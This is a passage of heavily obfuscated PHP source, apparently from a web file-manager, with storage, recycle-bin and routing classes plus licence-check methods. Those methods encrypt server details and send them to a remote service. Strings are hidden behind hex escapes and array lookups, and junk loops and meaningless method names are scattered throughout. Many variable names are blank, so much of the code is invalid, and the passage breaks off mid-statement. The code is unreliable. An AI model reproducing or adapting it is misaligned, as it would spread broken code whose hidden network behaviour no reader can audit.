IO::copy($ϣ[$_SERVER[Ȣ][88]], $ᒐ, !1, $̅); return $; } public function setModifyTime($, $ = '') { $Í =& $_SERVER[Ȣ]; if (!$) { return; } $this->model->where(array($Í[423] => $))->save(array($Í[96] => $)); } public function upload($ۂ, $۹, $ = false, $ = REPEAT_REPLACE) { $Ѫ =& $_SERVER[Ȣ]; $閾 = $this->parse($ۂ); $ = $this->model->addFile($閾[$Ѫ[405]], $۹, $閾[$Ѫ[88]], $, $); return $this->getPathOuter($); } public function uploadFileByID($꠳ɫ, $ǥ, $ݽ) { $ğ =& $_SERVER[Ȣ]; $ݡ = $this->parse($꠳ɫ); $Ԍ = $this->model->addFileByFileID($ݡ[$ğ[405]], $ǥ, $ݡ[$ğ[88]], $ݽ); return $this->getPathOuter($Ԍ); } public function addFileByRemote($嵂, $, $猖 = array(), $ = '', $ݵڥ) { $Ҟ =& $_SERVER[Ȣ]; $ճć = $this->parse($嵂); $ = empty($) ? $ճć[$Ҟ[88]] : $; $ = $this->model->addFileByRemote($ճć[$Ҟ[405]], $, $, $猖, $ݵڥ); return $this->getPathOuter($); } public function uploadLink($, $ӧ = 0) { $ڠƄ =& $_SERVER[Ȣ]; $۵ = $this->parse($); $º = _get($GLOBALS[$ڠƄ[7]], $ڠƄ[1339]); $ƫ = _get($GLOBALS[$ڠƄ[7]], $ڠƄ[1340]); $ = Model($ڠƄ[611])->createFileName($۵[$ڠƄ[88]], $º, $ƫ); return IO::uploadLink($, $ӧ); } public function fileNameAuto($î, $, $ɽ = REPEAT_REPLACE, $ʃ = false) { return $this->model->fileNameAuto($î, $, $ɽ, $ʃ); } public function fileNameExist($حɰ, $֯) { return $this->model->fileNameExist($حɰ, $֯); } protected function _fileOut($ǖ, $ = false, $ = false, $ج = '', $۱ = false) { $ɥ =& $_SERVER[Ȣ]; $ = $this->model->sourceInfo($ǖ); if ($[$ɥ[416]] == $ɥ[99]) { header($ɥ[1341]); die; } $؈ = $this->model->fileInfoGet($ǖ); $ج = $؈[$ɥ[183]] ? $؈[$ɥ[183]] : $ج; $ҧ = isset($GLOBALS[$ɥ[1342]]) ? $GLOBALS[$ɥ[1342]] : $[$ɥ[32]]; if ($۱) { return IO::fileOutServer($؈[$ɥ[88]], $, $ҧ, $ج); } IO::fileOut($؈[$ɥ[88]], $, $ҧ, $ج); } public function fileOut($, $˴ = false, $╠ = false, $Ӭ = '') { $this->_fileOut($, $˴, $╠, $Ӭ); } public function fileOutServer($, $̀ = false, $Ҷ = false, $ = '') { $this->_fileOut($, $̀, $Ҷ, $, !0); } protected function _fileOutImage($, $Ɓ = 250) { $܇ =& $_SERVER[Ȣ]; $ѽ֬ = $this->model->pathInfo($); if ($ѽ֬[$܇[416]] == $܇[99]) { show_json($܇[1343] . $, !1); } $ = $this->model->fileInfoGet($); $[$܇[32]] = $ѽ֬[$܇[32]]; $[$܇[176]] = $ѽ֬[$܇[176]]; $GLOBALS[$܇[1342]] = $[$܇[32]]; $GLOBALS[$܇[175]] = $; IO::fileOutImage($[$܇[88]], $Ɓ); } public function fileOutImage($, $֡ = 250) { $this->_fileOutImage($, $֡); } public function fileOutImageServer($, $Ϭ = 250) { $this->_fileOutImage($, $Ϭ); } public function link($ƨ, $ = '') { $ = $this->model->fileInfoGet($ƨ); return IO::link($[$_SERVER[Ȣ][88]], $); } protected function parse($֯خ) { $ =& $_SERVER[Ȣ]; if (strstr($֯خ, $[8]) === !1) { return array($[425] => intval($֯خ), $[88] => $[12], $[1338] => array()); } $未 = explode($[8], trim($֯خ, $[8])); if (count($未) < 2) { show_tips(clear_html($֯خ) . $[1344]); } return array($[425] => intval($未[0]), $[88] => $未[1], $[1338] => array_slice($未, 1)); } } goto b; eɐገ: class SourceRecycleModel extends ModelBase { protected $tableName = "\x69\x6f\137\x73\157\x75\162\x63\145\x5f\x72\145\143\x79\x63\x6c\145"; protected $dataAuto = array(array("\x63\x72\145\x61\164\145\x54\151\155\x65", "\x74\x69\x6d\x65", "\151\156\163\x65\x72\164", "\x66\165\156\143\164\151\157\156")); public function listData($ʆ = false) { $ρ =& $_SERVER[Ȣ]; $ʆ = $ʆ ? $ʆ : USER_ID; $ = $this->where(array($ρ[1657] => $ʆ))->select(); return array_to_keyvalue($, $ρ[12], $ρ[408]); } public function moveToRecycle($٬ۚ) { $Ǝ =& $_SERVER[Ȣ]; $ = Model($Ǝ[1337]); $ = $->sourceInfo($٬ۚ); if (!$ || $[$Ǝ[436]] == $Ǝ[99]) { return; } $֖Հ = array($Ǝ[423] => $٬ۚ, $Ǝ[1657] => USER_ID, $Ǝ[588] => $[$Ǝ[417]], $Ǝ[589] => $[$Ǝ[510]], $Ǝ[592] => $[$Ǝ[526]]); $this->add($֖Հ); $this->recycleMove($٬ۚ, 1); if ($[$Ǝ[416]] == $Ǝ[99]) { $ձ = array($Ǝ[592] => array($Ǝ[552], $[$Ǝ[526]] . $٬ۚ . $Ǝ[553])); $->where($ձ)->setField($Ǝ[436], 1); } } public function clear() { $this->remove(!1); } public function remove($ = false, $÷ = false) { $ɒ =& $_SERVER[Ȣ]; $÷ = $÷ ? $÷ : USER_ID; $娲 = Model($ɒ[1337]); $ = $this->listData($÷); $ = $ === !1 ? !1 : $; $ = array(); foreach ($ as $к) { if ($ != !1 && !in_array($к, $)) { continue; } $Ͷ = $娲->sourceInfo($к); $娲->remove($к, !1); $ = $Ͷ[$ɒ[417]] . $ɒ[11] . $Ͷ[$ɒ[510]]; $[$] = array($ɒ[588] => $Ͷ[$ɒ[417]], $ɒ[510] => $Ͷ[$ɒ[510]]); $this->where(array($ɒ[408] => $к))->delete(); } foreach ($ as $҈ʍ) { $娲->targetSpaceUpdate($҈ʍ[$ɒ[417]], $҈ʍ[$ɒ[510]]); } } public function restore($މ = false) { $ŗȺ = $this->listData(); $this->_restoreSource($ŗȺ, $މ); } public function removeUserAll($) { $this->remove(!1, $); } private function _restoreSource($, $膬) { $ř =& $_SERVER[Ȣ]; $ = Model($ř[1337]); $膬 = $膬 == !1 ? !1 : $膬; if (!$) { return !0; } $ = array(); foreach ($ as $) { if ($膬 != !1 && !in_array($, $膬)) { continue; } $ = $->sourceInfo($); $Ȟ = $->sourceInfo($[$ř[503]]); if ($Ȟ[$ř[436]] == $ř[99]) { continue; } $->lockMoveStart($); $this->recycleMove($, 0); if ($[$ř[416]] == $ř[99]) { $ = array($ř[592] => array($ř[552], $[$ř[526]] . $ . $ř[553])); $->where($)->setField($ř[436], 0); $this->restoreFolderChildren($, $); } $this->where(array($ř[408] => $))->delete(); $->folderSizeReset($[$ř[503]]); $[] = $[$ř[503]]; if ($[$ř[416]] == $ř[99]) { $[] = $; } $->lockMoveEnd($); } $->updateModifyTime($); } private function restoreFolderChildren($, $ь) { $̼ =& $_SERVER[Ȣ]; $ = Model($̼[1337]); $མʳ = array($̼[408] => array($̼[7], array())); foreach ($ь as $䡢) { if ($䡢 == $) { continue; } if (!$->isParentOf($, $䡢)) { continue; } $Ԣ = $->sourceInfo($䡢); if ($Ԣ[$̼[416]] == $̼[99]) { $མʳ[] = array($̼[592] => array($̼[552], $Ԣ[$̼[526]] . $䡢 . $̼[553])); } else { $མʳ[$̼[408]][1][] = $䡢; } } if (!$མʳ[$̼[408]][1]) { unset($མʳ[$̼[408]]); } if (!$མʳ) { return; } $མʳ[$̼[408]][1] = array_unique($མʳ[$̼[408]][1]); $མʳ[$̼[1012]] = $̼[1931]; $->where($མʳ)->setField($̼[436], 1); } private function recycleMove($, $ܠ = 1) { $կ =& $_SERVER[Ȣ]; $ = Model($կ[1337]); $؇ = Model($կ[2135]); $ = array($կ[408] => $); if ($ܠ) { $->where($)->setField($կ[436], 1); $؇->eventRecycle($, $կ[2136]); } else { $ = $->where($)->find(); $ = $[$կ[416]] == $կ[99]; $â = $->fileNameAuto($[$կ[503]], $[$կ[32]], REPEAT_RENAME_FOLDER, $); if ($â != $[$կ[32]]) { $->rename($, $â); } $->where($)->setField($կ[436], 0); $؇->eventRecycle($, $կ[2137]); } } } class SourceSecretModel extends ModelBaseLight { public $optionType = "\x53\171\163\x74\x65\155\x2e\x73\157\165\x72\x63\145\x53\145\x63\162\145\x74\114\x69\x73\x74"; public $field = array("\163\157\165\x72\143\x65\111\104", "\164\x79\x70\145\x49\104", "\143\x72\x65\x61\x74\145\125\163\145\162"); } class StorageModel extends ModelBaseLight { public $optionType = "\123\171\x73\x74\x65\155\56\x73\164\157\162\x61\x67\145\x4c\151\x73\x74"; public $field = array("\x6e\x61\x6d\x65", "\163\x69\x7a\145\115\x61\170", "\x73\171\163\164\x65\x6d", "\x64\x65\x66\x61\x75\x6c\x74", "\x64\x72\x69\166\145\x72", "\x63\x6f\x6e\146\x69\147"); public function listData($ʹ = false, $ꐥ = "\x6d\157\144\151\x66\x79\124\x69\x6d\x65", $ = false) { $ =& $_SERVER[Ȣ]; $ć = parent::listData($ʹ, $ꐥ, $); if ($ʹ) { return $ć; } $īې = $this->ioSizeUseGet(array_to_keyvalue($ć, $[12], $[405])); foreach ($ć as $Ǣ => $) { unset($ć[$Ǣ][$[6]]); $ć[$Ǣ][$[1823]] = isset($īې[$[$[405]]]) ? $īې[$[$[405]]] : 0; } return $ć; } public function ioSizeUseGet($ȳ) { $ռ =& $_SERVER[Ȣ]; if (!$ȳ) { return array(); } $ = $ռ[2138] . implode($ռ[50], $ȳ); $딪 = Cache::get($); if ($딪) { return $딪; } $Ј = array($ռ[834] => $ռ[405], $ռ[2139] => $ռ[90]); $ʃ = array($ռ[834] => array($ռ[7], $ȳ)); $딪 = Model($ռ[806])->field($Ј)->where($ʃ)->group($ռ[834])->select(); $딪 = array_to_keyvalue($딪, $ռ[405], $ռ[90]); Cache::set($, $딪, 600); return $딪; } public function getConfig($۴) { $ = parent::listData($۴); return json_decode($[$_SERVER[Ȣ][6]], !0); } public function update($ߚ, $) { $ =& $_SERVER[Ȣ]; $ = $[$[32]]; $笤 = array_to_keyvalue(parent::listData(), $[32]); if (isset($笤[$]) && $笤[$][$[405]] != $ߚ) { return !1; } if (isset($[$[2140]]) && $[$[2140]] == $[99]) { $this->checkConfig($); } unset($[$[2140]]); $ֈ = parent::update($ߚ, $); if ($ֈ && $[$[37]]) { $ƠӖ = 0; foreach ($笤 as $Ͳ) { if ($Ͳ[$[37]] && $Ͳ[$[405]] != $ߚ) { $ƠӖ = $Ͳ[$[405]]; parent::update($Ͳ[$[405]], array($[37] => 0)); } } $this->updateBackup($ߚ, $ƠӖ); } return $ֈ; } public function add($Ӹ) { $ܫ =& $_SERVER[Ȣ]; $ = array_to_keyvalue(parent::listData(), $ܫ[32]); if (isset($[$Ӹ[$ܫ[32]]])) { return !1; } $this->checkConfig($Ӹ); $Ϡ = parent::insert($Ӹ); if ($Ϡ && $Ӹ[$ܫ[37]]) { foreach ($ as $Ω) { if ($Ω[$ܫ[37]]) { parent::update($Ω[$ܫ[405]], array($ܫ[37] => 0)); } } } return $Ϡ; } public function updateBackup($Ҽ, $) { $ڒ =& $_SERVER[Ȣ]; if (!$) { return; } $卡 = Model($ڒ[766])->config(); if ($卡[$ڒ[1636]] != $ڒ[99] || $卡[$ڒ[769]] != $) { return; } $障 = Model($ڒ[787])->get($ڒ[797]); $障 = json_decode($障, !0); if (!$障) { return; } $障[$ڒ[769]] = $Ҽ; Model($ڒ[787])->set(array($ڒ[797] => $障)); } public function checkConfig(&$Լܼ, $ = false) { $ =& $_SERVER[Ȣ]; $Ρ = strtolower($Լܼ[$[106]]); $к = json_decode($Լܼ[$[6]], !0); foreach ($к as $ => $⦿ď) { $к[$] = trim($⦿ď); } $к[$[2141]] = rand_string(6); $Ѭ = $GLOBALS[$[6]][$[100]][$[843]]; $̈ = isset($Ѭ[$Ρ]) ? $Ѭ[$Ρ] : ucfirst($Ρ); $Ǿ = $[84] . $̈; if (!$̈ || !class_exists($Ǿ)) { if ($) { return LNG($[2142]); } write_log(array($[2143], $Լܼ, get_caller_info()), $[2144]); show_json(LNG($[2142]), !1, $Լܼ); } $ = new $Ǿ($к); if (in_array($Ρ, $->objectDriver)) { if (!$->isBucketCors() && !$->setBucketCors()) { $ɲ = LNG($[2145]); $ɲ .= $[2146] . LNG($[2147]); if ($) { return $ɲ; } show_json($ɲ, !1); } } $ = rtrim($к[$[1191]], $[8]) . $[8]; $ҧ = $->getPath($ . $[1253]); if (!$->mkfile($ҧ)) { if ($) { return LNG($[2145]); } show_json(LNG($[2145]), !1); } $к[$[1191]] = $; $Լܼ[$[6]] = json_encode($к); $Լܼ[$[106]] = $̈; return !0; } public function driverListSystem() { $۴ =& $_SERVER[Ȣ]; $ڡ = parent::listData(); $ = array(); foreach ($ڡ as $Ļ) { unset($Ļ[$۴[207]], $Ļ[$۴[96]]); $Ļ[$۴[6]] = json_decode($Ļ[$۴[6]], !0); $[] = $Ļ; } return $; } public function defaultDriver() { $ =& $_SERVER[Ȣ]; $ = parent::listData(); $ = array_filter_by_field($, $[37], 1); $ = $[0]; if ($) { $[$[6]] = json_decode($[$[6]], !0); } return $; } public function driverInfo($) { $ =& $_SERVER[Ȣ]; $ = array_to_keyvalue(parent::listData(), $[405]); if (!isset($[$])) { return !1; } $姱 = $[$]; $姱[$[6]] = json_decode($姱[$[6]], !0); return $姱; } public function remove($) { $this->removeShareItems($); return parent::remove($); } public function removeWithFile($Ɠ, $) { $̶䪈 =& $_SERVER[Ȣ]; $ﯻ = array($̶䪈[834] => $Ɠ); $ݟ = Model($̶䪈[475])->where($ﯻ)->count(); $굙 = Model($̶䪈[475])->where($ﯻ)->sum($̶䪈[90]); $˺ = $ . $̶䪈[2148] . $Ɠ; $ = LNG($ == $̶䪈[559] ? $̶䪈[2149] : $̶䪈[2150]); $߹ī = new TaskFileTransfer($˺, $̶䪈[2144], $ݟ, $ . "\50{$Ɠ}\51"); $߹ī->task[$̶䪈[780]] = (double) $굙; $ߴ = KodIO::defaultDriver(); $ = $ߴ[$̶䪈[405]]; $ىޤ = "\x7b\151\x6f\72{$}\175\57"; $ȵ = !0; $Ø = array(); $ = Model($̶䪈[206])->where($ﯻ)->field($̶䪈[2151])->select(); foreach ($ as $̣) { $ņ = $̣[$̶䪈[88]]; $ƪ = $ىޤ . str_replace("\x7b\x69\x6f\72{$Ɠ}\x7d\57", $̶䪈[12], $ņ); if (!IO::exist($ņ)) { $Ø[] = $̣[$̶䪈[472]]; $߹ī->updateFileEnd($̣[$̶䪈[32]], $̣[$̶䪈[90]]); continue; } if (IO::exist($ƪ)) { $߹ī->updateFileEnd($̣[$̶䪈[32]], $̣[$̶䪈[90]]); continue; } if (!IO::move($ņ, get_path_father($ƪ))) { $ȵ = !1; break; } $ﯻ = array($̶䪈[472] => $̣[$̶䪈[472]]); $ᕾ = array($̶䪈[834] => $, $̶䪈[88] => $ƪ); Model($̶䪈[206])->where($ﯻ)->save($ᕾ); } $this->removeByFileID($Ø); if (!$ȵ) { $߹ī->stop($˺); return !1; } $߹ī->end(); if ($ == $̶䪈[1803]) { $this->remove($Ɠ); } } public function progress($٤, $ț) { return Task::get($ț . $_SERVER[Ȣ][2148] . $٤); } private function removeByFileID($ = array()) { $ƀ =& $_SERVER[Ȣ]; if (empty($)) { return; } $ = array($ƀ[472] => array($ƀ[7], $)); $ݿ = Model($ƀ[1337])->where($)->field($ƀ[408])->select(); if (!$ݿ) { return; } $ݿ = array_to_keyvalue($ݿ, $ƀ[12], $ƀ[408]); foreach ($ݿ as $) { Model($ƀ[422])->removeNow($, !1); } } private function removeShareItems($ѥ) { $摘 =& $_SERVER[Ȣ]; $۴ = "\x7b\151\x6f\x3a{$ѥ}\175\57"; $֨ = array($摘[408] => 0, $摘[1186] => array($摘[391], "{$۴}\x25")); $ = Model($摘[1814])->where($֨)->field($摘[493])->select(); if (empty($)) { return; } $ = array_to_keyvalue($, $摘[12], $摘[493]); Model($摘[603])->remove($); } } goto F; f㍣Ã: class Application { private $defaultModule = "\151\x6e\x64\x65\170"; private $defaultController = "\151\x6e\x64\x65\170"; private $defaultAction = "\151\156\x64\145\x78"; function __construct() { } public function setDefault($ٳ) { $ύ =& $_SERVER[Ȣ]; $ =& $_SERVER[镭]; $ = explode($[0], trim($ٳ, $[0])); $this->defaultModule = $[0] ? $[0] : $this->defaultModule; $ = $ύ[619]; $this->defaultController = $[1] ? $[1] : $this->defaultController; $Ѓ = $ύ[620]; if (!$Ѓ) { return; } $this->defaultAction = $[2] ? $[2] : $this->defaultAction; $ꜩ = $ύ[621]; if (strlen($ꜩ) < $ύ[622]) { return; } $this->nxejedb5adba($[1], array($this, $[2])); $ϼ = $ύ[623]; } public function appRun($) { $ =& $_SERVER[Ȣ]; $㋫ =& $_SERVER[镭]; $ = explode($㋫[0], $); $ﺗ = $[624]; if (strlen($ﺗ) < $[67]) { die; } $͞ = strtolower($[0]); $̾ = $[625]; if (strlen($̾) < $[618]) { die; } $ = $㋫[3]; if ($͞ == $㋫[4]) { $ = $㋫[5]; $[0] = $㋫[6]; $[1] = $[1] . $㋫[7]; $ = join($㋫[0], $); $ = trim($, $㋫[0]); } call_user_func(array($㋫[8], $㋫[9]), $ . $㋫[10], $); ActionCall($); $ = $[626]; if (strlen($) < $[618]) { return; } call_user_func(array($㋫[8], $㋫[9]), $ . $㋫[11], $); } private function autorun() { $͈ =& $_SERVER[镭]; global $config; $ = $_SERVER[Ȣ][627]; if (count($config[$͈[12]]) == 0) { return; } foreach ($config[$͈[12]] as $ => $䮿) { $this->appRun($䮿); } } private function zfro50550333() { $ =& $_SERVER[Ȣ]; $ =& $_SERVER[镭]; $ = $[4]; $Ѝ = $[628]; if (!$Ѝ) { return; } $ݔ = $GLOBALS[$[13]][$[14]][0]; $ɏ = $[629]; if (!$ݔ || strlen($ݔ) <= strlen($)) { return; } if (strtolower(substr($ݔ, -strlen($))) != $) { return; } $٢ǡ = substr($ݔ, 0, -strlen($)); $Ө = array($[4], $٢ǡ); $ʱ = $[630]; if (strlen($ʱ) < $[67]) { die; } $Ҿ = array_slice($GLOBALS[$[13]][$[14]], 1); $ = $[631]; while (strlen($) < $[67]) { if (!$) { break; } $++; } $GLOBALS[$[13]][$[14]] = array_merge($Ө, $Ҿ); $ = $[632]; while ($ < $[67]) { if ($ >= 0) { break; } $++; } $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); $ݛ = $[633]; if (strlen($ݛ) < $[634]) { die; } } private function afqve5d38d21() { $ =& $_SERVER[Ȣ]; $ =& $_SERVER[镭]; if ($GLOBALS[$[13]][$[15]] != $[6]) { return; } $ = $_SERVER[$[16]]; $ = $[17]; if (!strstr($, $)) { return; } $Մ = strrpos($, $); $陀 = $[635]; if (strlen($陀) < $[67]) { die; } $ٴ = substr($, $Մ + strlen($)); preg_match_all($[18], $ٴ, $م); $ߞ = $[636]; $ٴ = trim($م[0][0], $[19]); $GLOBALS[$[13]][$[14]] = explode($[19], $ٴ); $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); $ؼ = $[637]; } public function run() { $ԏ =& $_SERVER[Ȣ]; $룙 =& $_SERVER[镭]; $this->afqve5d38d21(); $م = $ԏ[638]; $this->zfro50550333(); $ = $GLOBALS[$룙[13]][$룙[14]]; $ʄ倐 = $ԏ[639]; if (strlen($ʄ倐) < $ԏ[618]) { die; } $̔ = $GLOBALS[$룙[13]][$룙[15]]; $ߴ = $ԏ[640]; define($룙[20], isset($[0]) && $[0] ? $[0] : $this->defaultModule); $ = $ԏ[641]; define($룙[21], isset($[1]) && $[0] ? $[1] : $this->defaultController); define($룙[22], isset($[2]) && $[0] ? $[2] : $this->defaultAction); $ྯ = $ԏ[642]; while ($ྯ < $ԏ[634]) { if ($ྯ >= 0) { break; } $ྯ++; } define($룙[23], MOD . $룙[0] . ST . $룙[0] . ACT); $ = $ԏ[643]; if (!$) { die; } $_SERVER[$룙[24]] = strtolower(ACTION); $this->autorun(); if (count($) >= 3) { $this->appRun($̔); } else { $this->appRun(ACTION); } } private $hpsm31fd9c75 = array(); private $vwgxebb4ee18 = ''; public function xwoba47be9f4() { $ =& $_SERVER[Ȣ]; $ =& $_SERVER[镭]; $this->rcto7d2df16f(); $Ϗ = $[644]; if (strlen($Ϗ) < $[645]) { return; } $this->cfxqf2f5bc16(); $this->ksdl4de17ccb(); $ = $[646]; if (strlen($) < $[645]) { return; } $this->tzil2636fbe0(); $㱉 = $[647]; while ($㱉 < $[622]) { if ($㱉 >= 0) { break; } $㱉++; } $this->gkhib2261d41(); $ = $[648]; $this->zqhtee335684(); $ξ = $[649]; while (strlen($ξ) < $[618]) { if (!$ξ) { break; } $ξ++; } $this->bpxw142272f1(); $this->nxejedb5adba($[25], array($this, $[26])); $this->nxejedb5adba($[27], array($this, $[28])); $this->nxejedb5adba($[29], array($this, $[30])); $ = $[650]; if (!$) { die; } $this->nxejedb5adba($[31], array($this, $[32])); } public function bdwq29c8c8bf($м) { $Ŝ =& $_SERVER[Ȣ]; $瑇 =& $_SERVER[镭]; $ = Model($瑇[33])->get(); $ŏ = $Ŝ[651]; $؟ = array($瑇[34], $瑇[35], $瑇[36], $瑇[37], $瑇[38], $瑇[39], $瑇[40], $瑇[41], $瑇[42], $瑇[43], $瑇[44], $瑇[45], $瑇[46], $瑇[47], $瑇[48], $瑇[49], $瑇[50], $瑇[51], $瑇[52], $瑇[53], $瑇[54], $瑇[55], $瑇[56], $瑇[57], $瑇[58], $瑇[59], $瑇[60], $瑇[61], $瑇[62], $瑇[63], $瑇[64], $瑇[65], $瑇[66], $瑇[67], $瑇[68], $瑇[69], $瑇[70], $瑇[71], $瑇[72], $瑇[73], $瑇[74], $瑇[75], $瑇[76], $瑇[77], $瑇[78], $瑇[79], $瑇[80], $瑇[81], $瑇[82]); $١ = $Ŝ[652]; while ($١ < $Ŝ[622]) { if ($١ >= 0) { break; } $١++; } foreach ($؟ as $) { $ = $GLOBALS[$瑇[83]][$瑇[84]][$]; $ջĒ = $Ŝ[653]; while ($ջĒ < $Ŝ[67]) { if ($ջĒ >= 0) { break; } $ջĒ++; } if (isset($[$])) { $ = $[$]; } $м[$瑇[85]][$瑇[86]][$] = $; } $ = $м[$瑇[85]][$瑇[86]][$瑇[46]]; unset($м[$瑇[85]][$瑇[87]][$瑇[88]]); unset($м[$瑇[85]][$瑇[87]][$瑇[89]]); unset($м[$瑇[85]][$瑇[86]][$瑇[46]]); $ύ = $Ŝ[654]; if (strlen($ύ) < $Ŝ[645]) { die; } unset($м[$瑇[85]][$瑇[86]][$瑇[90]]); $м[$瑇[85]][$瑇[86]][$瑇[91]] = array($瑇[92] => (int) $[$瑇[93]], $瑇[94] => (int) _get($, $瑇[95], 0)); $ѫ = $Ŝ[655]; if (strlen($ѫ) < $Ŝ[618]) { die; } $м[$瑇[96]][$瑇[97]] = Action($瑇[98])->accessToken(); $м[$瑇[96]][$瑇[99]] = md5($_SERVER[$瑇[100]] . $[$瑇[101]]); $ק = $Ŝ[656]; while (strlen($ק) < $Ŝ[618]) { if (!$ק) { break; } $ק++; } $м[$瑇[96]][$瑇[102]] = base64_encode(serverInfo()); $ᑅ = $Ŝ[657]; $м[$瑇[96]][$瑇[103]] = $this->vwgxebb4ee18; if ($[$瑇[103]] != $瑇[104]) { $м[$瑇[96]][$瑇[105]] = $[$瑇[105]]; $м[$瑇[96]][$瑇[106]] = $[$瑇[106]]; $Ŧ = rand_string(10) . $this->vwgxebb4ee18 . rand_string(5); $м[$瑇[85]][$瑇[107]][$瑇[108]] = $this->hoky6f680981($Ŧ, $м[$瑇[96]][$瑇[99]]); } if ($this->vwgxebb4ee18 == $瑇[104]) { $м[$瑇[85]][$瑇[86]][$瑇[91]][$瑇[95]] = 0; } $м[$瑇[96]][$瑇[109]] = _get($this->hpsm31fd9c75, $瑇[110], $瑇[6]); $м[$瑇[96]][$瑇[111]] = _get($this->hpsm31fd9c75, $瑇[112], $瑇[6]); if (_get($GLOBALS, $瑇[113]) && $this->config[$瑇[114]]) { $м[$瑇[96]][$瑇[115]] = WEB_ROOT; } return $м; } private function zqhtee335684() { $ߝ匎 =& $_SERVER[Ȣ]; $꺾 =& $_SERVER[镭]; $؇ = $_SERVER[$꺾[24]] == $꺾[116]; $ = $ߝ匎[658]; while (strlen($) < $ߝ匎[67]) { if (!$) { break; } $++; } if ($_SERVER[$꺾[24]] == $꺾[117] && $_GET[$꺾[118]] == $꺾[119]) { $؇ = !0; } if ($؇) { $ = array($꺾[103] => $this->vwgxebb4ee18, $꺾[120] => $this->oqfu2c5a69c3(), $꺾[121] => Model($꺾[122])->count()); if ($this->vwgxebb4ee18 != $꺾[104]) { $ę = _get($this->hpsm31fd9c75, $꺾[123]); if ($ę) { $[$꺾[124]] = $ę; $[$꺾[125]] = strtotime(_get($this->hpsm31fd9c75, $꺾[126])); $[$꺾[127]] = _get($this->hpsm31fd9c75, $꺾[112]); } $ۖ = Model($꺾[33])->get($꺾[128], $꺾[6], !0); if (is_string($ۖ) && substr($ۖ, 0, 1) == $꺾[129]) { $ۖ = json_decode_force($ۖ); } if (is_array($ۖ) && $ۖ[$꺾[130]] && strstr($ۖ[$꺾[130]], $꺾[131])) { $쀗 = explode($꺾[131], $ۖ[$꺾[130]]); $[$꺾[132]] = $쀗[0]; } } $ = $this->lyuc55548a77(json_encode($), md5($꺾[133])); $șȈ = array($꺾[134] => $); $ = $ߝ匎[659]; if (strlen($) < $ߝ匎[67]) { die; } call_user_func(array($꺾[135], $꺾[136]), $șȈ); $ = $ߝ匎[660]; } if ($this->vwgxebb4ee18 == $꺾[104]) { return; } $ߟ = array($꺾[137], $꺾[138], $꺾[139], $꺾[140], $꺾[141], $꺾[142]); $ހ = $ߝ匎[661]; while (strlen($ހ) < $ߝ匎[622]) { if (!$ހ) { break; } $ހ++; } $х = Model($꺾[33])->get(); $șȈ = array($꺾[143] => $х[$꺾[34]], $꺾[144] => $х[$꺾[35]], $꺾[145] => $꺾[6]); $ = $ߝ匎[662]; while ($ < $ߝ匎[634]) { if ($ >= 0) { break; } $++; } foreach ($ߟ as $) { if (!isset($х[$]) || !$х[$]) { continue; } $șȈ[$] = $х[$]; } call_user_func(array($꺾[135], $꺾[136]), $șȈ); $էƻ = $ߝ匎[663]; } private function tzil2636fbe0() { $ =& $_SERVER[Ȣ]; $Ŭ =& $_SERVER[镭]; if ($_SERVER[$Ŭ[24]] != $Ŭ[146]) { return; } if (!_get($GLOBALS, $Ŭ[113])) { die; } $ = $GLOBALS[$Ŭ[13]]; if (isset($[$Ŭ[147]])) { $this->mthi6d41e200(); die; } if (!isset($[$Ŭ[148]]) || strlen($[$Ŭ[148]]) != 16) { show_json($Ŭ[149] . $[$Ŭ[148]], !1); } $
= Model($Ŭ[33])->get($Ŭ[101]); $ = md5($_SERVER[$Ŭ[100]] . $
); $ҰУ = array($Ŭ[148] => $[$Ŭ[148]], $Ŭ[150] => rand_string(16), $Ŭ[151] => $Ŭ[133], $Ŭ[152] => $Ŭ[153], $Ŭ[154] => $_SERVER[$Ŭ[155]], $Ŭ[156] => $_SERVER[$Ŭ[157]], $Ŭ[158] => $_SERVER[$Ŭ[159]], $Ŭ[99] => $, $Ŭ[160] => Model($Ŭ[33])->get($Ŭ[128])); if ($[$Ŭ[161]] == $Ŭ[162]) { $ȿ = $this->lyuc55548a77($, $Ŭ[163]); $ݎ = $this->hoky6f680981(json_encode($ҰУ), $ . $Ŭ[164], 3); $ݎ = $ݎ . $Ŭ[165] . $_SERVER[$Ŭ[155]]; $ˋ = $this->mzat3d176a3b($Ŭ[166] . $ȿ . $Ŭ[167] . $ݎ, -1); show_json($ˋ, !0); } else { if ($[$Ŭ[161]] == $Ŭ[168]) { $ = substr(md5($Ŭ[169] . $), 12, 15) . $Ŭ[170]; $ݎ = $this->guaq25d340da(trim($[$Ŭ[171]]), $, 2); $ = json_decode($ݎ, !0); if (!is_array($) || !is_array($[$Ŭ[172]]) || $[$Ŭ[148]] != !0) { $֓Ȳ = $Ŭ[173]; $蜒 = $[$Ŭ[172]] ? $Ŭ[174] . $[$Ŭ[172]] : $֓Ȳ; show_json($蜒, !1); } else { $ҰУ[$Ŭ[150]] = $[$Ŭ[172]][$Ŭ[175]]; } } else { $ = $this->mzat3d176a3b($Ŭ[176], $ҰУ, 10); $ƹ = $[664]; } } if (!is_array($) || !is_array($[$Ŭ[172]]) || $[$Ŭ[148]] != !0) { $֓Ȳ = LNG($Ŭ[177]); $蜒 = $[$Ŭ[172]] ? $Ŭ[174] . $[$Ŭ[172]] : $֓Ȳ; show_json($蜒, !1); } $ = $[$Ŭ[172]]; $ = $this->qeyfd6520446($[$Ŭ[178]]); if (!$ || $ != $[$Ŭ[126]]) { $Ǚ = array($Ŭ[179] => Model($Ŭ[33])->get($Ŭ[101]), $Ŭ[180] => $_SERVER[$Ŭ[100]], $Ŭ[181] => this_url(), $Ŭ[156] => $_SERVER[$Ŭ[157]]); $ݎ = $this->wqhu7fec0186(json_encode($Ǚ)); $this->mzat3d176a3b($Ŭ[182] . $ݎ); show_json(LNG($Ŭ[183]), !0); } $ = array($Ŭ[184] => $[$Ŭ[185]], $Ŭ[186] => $[$Ŭ[187]], $Ŭ[188] => rand_string(16), $Ŭ[103] => $[$Ŭ[189]]); if ($ҰУ[$Ŭ[150]]) { $[$Ŭ[188]] = $ҰУ[$Ŭ[150]]; } $څ = substr(md5($[$Ŭ[186]]), 10, 10); $ = $څ . $[$Ŭ[103]] . $[$Ŭ[188]]; $ɦ۰ = $[665]; if (!$ɦ۰) { die; } $[$Ŭ[105]] = strrev(base64_encode($this->lyuc55548a77($, $Ŭ[190]))); $ = rand_string(16); $ = $ . $[$Ŭ[103]] . $this->lyuc55548a77(md5($[$Ŭ[184]]), $); $[$Ŭ[106]] = 